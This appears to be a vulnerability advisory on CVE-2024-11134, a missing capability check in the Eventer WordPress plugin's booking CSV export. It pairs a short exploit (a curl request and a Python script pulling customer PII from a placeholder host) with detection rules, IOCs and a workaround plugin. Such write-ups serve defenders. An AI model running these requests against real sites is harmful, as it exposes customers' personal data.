CVE-2024-11134

Executive Summary

CVE-2024-11134 is a Missing Authorization vulnerability in the Eventer WordPress plugin (versions up to and including 3.9.9). The flaw resides in the eventer_export_bookings_csv function, which fails to perform a capability check before allowing authenticated users to export booking data. This enables any authenticated attacker with Subscriber-level permissions or higher to download a CSV file containing customers' personal data (PII), including names, email addresses, and potentially payment details.

The vulnerability is classified as Medium severity (CVSS 4.3) due to the low attack complexity and the sensitive nature of the exposed data. As of this report, no official patch has been released by the vendor, and the plugin remains unpatched in all versions up to 3.9.9.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Eventer plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to:

• Monitor the plugin’s changelog for a patched version.
• Consider disabling or replacing the plugin if sensitive data is stored.
• Implement a Web Application Firewall (WAF) rule to block unauthorized CSV export requests.

CVSS Breakdown & Threat Level

Threat Level: Medium. While the CVSS score is moderate, the exposure of PII can lead to severe privacy violations, regulatory fines (GDPR, CCPA), and targeted phishing attacks.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) in the WordPress AJAX handler eventer_export_bookings_csv. The function is registered via wp_ajax_eventer_export_bookings_csv and wp_ajax_nopriv_eventer_export_bookings_csv (though the nopriv variant may be disabled). The core issue is that the function does not call current_user_can() or any capability check before executing the export logic.

Affected Code Path (simplified):

add_action('wp_ajax_eventer_export_bookings_csv', 'eventer_export_bookings_csv');
function eventer_export_bookings_csv() {
    // No capability check here
    $bookings = get_all_bookings(); // Retrieves all bookings with PII
    generate_csv($bookings);
    exit;
}

An authenticated user with Subscriber role (the lowest privilege) can trigger this AJAX action and download a CSV containing all booking records, including:

• Customer names
• Email addresses
• Phone numbers
• Event details
• Payment status (potentially partial credit card data)

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.9.9):

function eventer_export_bookings_csv() {
    // Missing capability check
    $bookings = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}eventer_bookings");
    // ... generate CSV and output
}

Patched Code (Hypothetical):

function eventer_export_bookings_csv() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $bookings = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}eventer_bookings");
    // ... generate CSV and output
}

Key Difference: The patched version adds current_user_can('manage_options') to restrict the export to administrators only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress instance with Eventer plugin <= 3.9.9
• Valid user account with Subscriber role or higher
• AJAX nonce (if required) – can be obtained from the page source

Exploit Steps:

1. Log in as a subscriber.
2. Obtain the AJAX nonce from the page source (e.g., var eventer_ajax_nonce = '...').
3. Send a POST request to /wp-admin/admin-ajax.php:

curl -X POST \
  'http://target.com/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'action=eventer_export_bookings_csv&nonce=OBTAINED_NONCE'

4. The server will respond with a CSV file containing all booking data.

Automated Exploit (Python):

import requests

target = "http://target.com"
nonce = "OBTAINED_NONCE"
session = requests.Session()
# Login first
session.post(f"{target}/wp-login.php", data={"log": "user", "pwd": "pass"})
# Trigger export
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "eventer_export_bookings_csv",
    "nonce": nonce
})
print(r.text)  # CSV data

Blue Team (Defender)

Detection:

• Monitor for AJAX requests to admin-ajax.php with action=eventer_export_bookings_csv from non-admin users.
• Alert on multiple CSV downloads from the same user within a short timeframe.

Mitigation:

• Disable the plugin until a patch is available.
• Use a WAF to block requests containing eventer_export_bookings_csv from low-privilege users.
• Implement a custom capability check via a WordPress mu-plugin:

add_action('wp_ajax_eventer_export_bookings_csv', 'custom_eventer_export_check', 1);
function custom_eventer_export_check() {
    if (!current_user_can('manage_options')) {
        wp_die('Access denied', 403);
    }
}

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with body containing action=eventer_export_bookings_csv
• Logs: WordPress debug log entries showing eventer_export_bookings_csv called by user roles other than administrator
• File: Unexpected CSV files in download directories or browser download history
• User Agent: Automated scripts (e.g., Python requests, curl) triggering the export

Detection Engineering

YARA Rule

rule CVE_2024_11134_Eventer_Export {
    meta:
        description = "Detects exploitation attempts of CVE-2024-11134 in Eventer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11134"
    strings:
        $ajax_action = "eventer_export_bookings_csv"
        $csv_header = "Booking ID,Customer Name,Email"
        $wp_nonce = "nonce="
    condition:
        $ajax_action and ($csv_header or $wp_nonce)
}

Sigma Rule

title: CVE-2024-11134 Eventer Plugin CSV Export Abuse
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized CSV export attempts via Eventer plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=eventer_export_bookings_csv'
    condition: selection
falsepositives:
    - Legitimate admin exports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11134 Eventer Plugin CSV Export Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=eventer_export_bookings_csv"; http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Eventer plugin if not critical to operations.
2. Apply a virtual patch via WAF to block eventer_export_bookings_csv requests from non-admin users.
3. Audit logs for any unauthorized CSV downloads.

Long-term Fix:

• Wait for the vendor to release a patched version (>= 4.0.0).
• If the plugin is abandoned, consider migrating to an alternative event management plugin.

Workaround Code (mu-plugin):

<?php
/*
Plugin Name: Eventer Export Fix
Description: Temporary fix for CVE-2024-11134
*/
add_action('wp_ajax_eventer_export_bookings_csv', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Access denied. Only administrators can export bookings.', 403);
    }
}, 1);

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence